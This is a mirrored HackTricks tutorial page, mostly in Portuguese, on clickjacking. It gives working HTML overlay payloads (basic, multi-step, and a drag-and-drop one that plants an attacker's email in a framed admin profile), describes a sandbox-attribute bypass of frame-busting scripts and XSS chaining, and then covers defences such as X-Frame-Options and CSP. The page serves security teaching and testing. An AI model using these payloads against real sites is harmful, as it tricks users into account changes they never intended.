mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-21 02:23:30 +00:00
229 lines
12 KiB
Markdown
229 lines
12 KiB
Markdown
# Clickjacking
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks\&utm_medium=text\&utm_campaign=ppc\&utm_term=trickest\&utm_content=clickjacking) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
|
Get Access Today:
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
|
|
|
|
## O que é Clickjacking
|
|
|
|
Em um ataque de clickjacking, um **usuário** é **enganado** a **clicar** em um **elemento** em uma página da web que é **invisível** ou disfarçado como um elemento diferente. Essa manipulação pode levar a consequências indesejadas para o usuário, como o download de malware, redirecionamento para páginas da web maliciosas, fornecimento de credenciais ou informações sensíveis, transferências de dinheiro ou a compra online de produtos.
|
|
|
|
### Truque de pré-preenchimento de formulários
|
|
|
|
Às vezes, é possível **preencher o valor dos campos de um formulário usando parâmetros GET ao carregar uma página**. Um atacante pode abusar desse comportamento para preencher um formulário com dados arbitrários e enviar a carga de clickjacking para que o usuário pressione o botão Enviar.
|
|
|
|
### Preencher formulário com Arrastar&Soltar
|
|
|
|
Se você precisa que o usuário **preencha um formulário**, mas não quer pedir diretamente que ele escreva algumas informações específicas (como o e-mail e ou senha específica que você conhece), você pode apenas pedir que ele **Arraste&Solte** algo que escreverá seus dados controlados, como neste [**exemplo**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
|
|
|
### Carga Básica
|
|
```markup
|
|
<style>
|
|
iframe {
|
|
position:relative;
|
|
width: 500px;
|
|
height: 700px;
|
|
opacity: 0.1;
|
|
z-index: 2;
|
|
}
|
|
div {
|
|
position:absolute;
|
|
top:470px;
|
|
left:60px;
|
|
z-index: 1;
|
|
}
|
|
</style>
|
|
<div>Click me</div>
|
|
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
|
|
```
|
|
### Payload de Múltiplas Etapas
|
|
```markup
|
|
<style>
|
|
iframe {
|
|
position:relative;
|
|
width: 500px;
|
|
height: 500px;
|
|
opacity: 0.1;
|
|
z-index: 2;
|
|
}
|
|
.firstClick, .secondClick {
|
|
position:absolute;
|
|
top:330px;
|
|
left:60px;
|
|
z-index: 1;
|
|
}
|
|
.secondClick {
|
|
left:210px;
|
|
}
|
|
</style>
|
|
<div class="firstClick">Click me first</div>
|
|
<div class="secondClick">Click me next</div>
|
|
<iframe src="https://vulnerable.net/account"></iframe>
|
|
```
|
|
### Drag\&Drop + Click payload
|
|
```markup
|
|
<html>
|
|
<head>
|
|
<style>
|
|
#payload{
|
|
position: absolute;
|
|
top: 20px;
|
|
}
|
|
iframe{
|
|
width: 1000px;
|
|
height: 675px;
|
|
border: none;
|
|
}
|
|
.xss{
|
|
position: fixed;
|
|
background: #F00;
|
|
}
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
|
|
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
|
|
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
|
|
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
|
|
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
|
|
</body>
|
|
</html>
|
|
```
|
|
### XSS + Clickjacking
|
|
|
|
Se você identificou um **ataque XSS que requer que um usuário clique** em algum elemento para **ativar** o XSS e a página é **vulnerável a clickjacking**, você pode abusar disso para enganar o usuário a clicar no botão/link.\
|
|
Exemplo:\
|
|
&#xNAN;_You encontrou um **self XSS** em alguns detalhes privados da conta (detalhes que **apenas você pode definir e ler**). A página com o **formulário** para definir esses detalhes é **vulnerável** a **Clickjacking** e você pode **preencher** o **formulário** com os parâmetros GET._\
|
|
\_\_Um atacante poderia preparar um **ataque Clickjacking** para essa página **preenchendo** o **formulário** com a **carga útil XSS** e **enganando** o **usuário** a **enviar** o formulário. Assim, **quando o formulário é enviado** e os valores são modificados, o **usuário executará o XSS**.
|
|
|
|
## Estratégias para Mitigar Clickjacking
|
|
|
|
### Defesas do Lado do Cliente
|
|
|
|
Scripts executados no lado do cliente podem realizar ações para prevenir Clickjacking:
|
|
|
|
* Garantir que a janela da aplicação seja a principal ou a janela superior.
|
|
* Tornar todos os frames visíveis.
|
|
* Prevenir cliques em frames invisíveis.
|
|
* Detectar e alertar os usuários sobre possíveis tentativas de Clickjacking.
|
|
|
|
No entanto, esses scripts de quebra de frame podem ser contornados:
|
|
|
|
* **Configurações de Segurança dos Navegadores:** Alguns navegadores podem bloquear esses scripts com base em suas configurações de segurança ou falta de suporte a JavaScript.
|
|
* **Atributo `sandbox` do iframe HTML5:** Um atacante pode neutralizar scripts de quebra de frame definindo o atributo `sandbox` com valores `allow-forms` ou `allow-scripts` sem `allow-top-navigation`. Isso impede que o iframe verifique se é a janela superior, e.g.,
|
|
```html
|
|
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
|
|
```
|
|
Os valores `allow-forms` e `allow-scripts` permitem ações dentro do iframe enquanto desabilitam a navegação de nível superior. Para garantir a funcionalidade pretendida do site alvo, permissões adicionais como `allow-same-origin` e `allow-modals` podem ser necessárias, dependendo do tipo de ataque. Mensagens do console do navegador podem guiar quais permissões permitir.
|
|
|
|
### Defesas do Lado do Servidor
|
|
|
|
#### X-Frame-Options
|
|
|
|
O **cabeçalho de resposta HTTP `X-Frame-Options`** informa aos navegadores sobre a legitimidade de renderizar uma página em um `<frame>` ou `<iframe>`, ajudando a prevenir Clickjacking:
|
|
|
|
* `X-Frame-Options: deny` - Nenhum domínio pode emoldurar o conteúdo.
|
|
* `X-Frame-Options: sameorigin` - Somente o site atual pode emoldurar o conteúdo.
|
|
* `X-Frame-Options: allow-from https://trusted.com` - Somente o 'uri' especificado pode emoldurar a página.
|
|
* Note as limitações: se o navegador não suportar esta diretiva, pode não funcionar. Alguns navegadores preferem a diretiva CSP frame-ancestors.
|
|
|
|
#### Diretiva frame-ancestors da Content Security Policy (CSP)
|
|
|
|
A **diretiva `frame-ancestors` na CSP** é o método recomendado para proteção contra Clickjacking:
|
|
|
|
* `frame-ancestors 'none'` - Semelhante a `X-Frame-Options: deny`.
|
|
* `frame-ancestors 'self'` - Semelhante a `X-Frame-Options: sameorigin`.
|
|
* `frame-ancestors trusted.com` - Semelhante a `X-Frame-Options: allow-from`.
|
|
|
|
Por exemplo, a seguinte CSP permite apenas emolduramento do mesmo domínio:
|
|
|
|
`Content-Security-Policy: frame-ancestors 'self';`
|
|
|
|
Mais detalhes e exemplos complexos podem ser encontrados na [documentação frame-ancestors CSP](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) e na [documentação frame-ancestors da Mozilla](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
|
|
|
|
### Content Security Policy (CSP) com `child-src` e `frame-src`
|
|
|
|
A **Content Security Policy (CSP)** é uma medida de segurança que ajuda a prevenir Clickjacking e outros ataques de injeção de código, especificando quais fontes o navegador deve permitir para carregar conteúdo.
|
|
|
|
#### Diretiva `frame-src`
|
|
|
|
* Define fontes válidas para frames.
|
|
* Mais específica do que a diretiva `default-src`.
|
|
```
|
|
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
|
|
```
|
|
Esta política permite frames da mesma origem (self) e https://trusted-website.com.
|
|
|
|
#### Diretriz `child-src`
|
|
|
|
* Introduzida no CSP nível 2 para definir fontes válidas para web workers e frames.
|
|
* Funciona como um fallback para frame-src e worker-src.
|
|
```
|
|
Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
|
```
|
|
Esta política permite frames e workers da mesma origem (self) e https://trusted-website.com.
|
|
|
|
**Notas de Uso:**
|
|
|
|
* Depreciação: child-src está sendo descontinuado em favor de frame-src e worker-src.
|
|
* Comportamento de Fallback: Se frame-src estiver ausente, child-src é usado como um fallback para frames. Se ambos estiverem ausentes, default-src é usado.
|
|
* Definição Estrita de Fonte: Inclua apenas fontes confiáveis nas diretrizes para evitar exploração.
|
|
|
|
#### Scripts de Quebra de Frame em JavaScript
|
|
|
|
Embora não sejam completamente infalíveis, scripts de quebra de frame baseados em JavaScript podem ser usados para evitar que uma página da web seja emoldurada. Exemplo:
|
|
```javascript
|
|
if (top !== self) {
|
|
top.location = self.location;
|
|
}
|
|
```
|
|
#### Empregando Tokens Anti-CSRF
|
|
|
|
* **Validação de Token:** Use tokens anti-CSRF em aplicações web para garantir que solicitações que alteram o estado sejam feitas intencionalmente pelo usuário e não através de uma página Clickjacked.
|
|
|
|
## Referências
|
|
|
|
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
|
|
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
|
|
|
|
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks\&utm_medium=text\&utm_campaign=ppc\&utm_term=trickest\&utm_content=clickjacking) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas comunitárias mais avançadas** do mundo.\
|
|
Acesse hoje:
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
|
|
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Suporte ao HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
{% endhint %}
|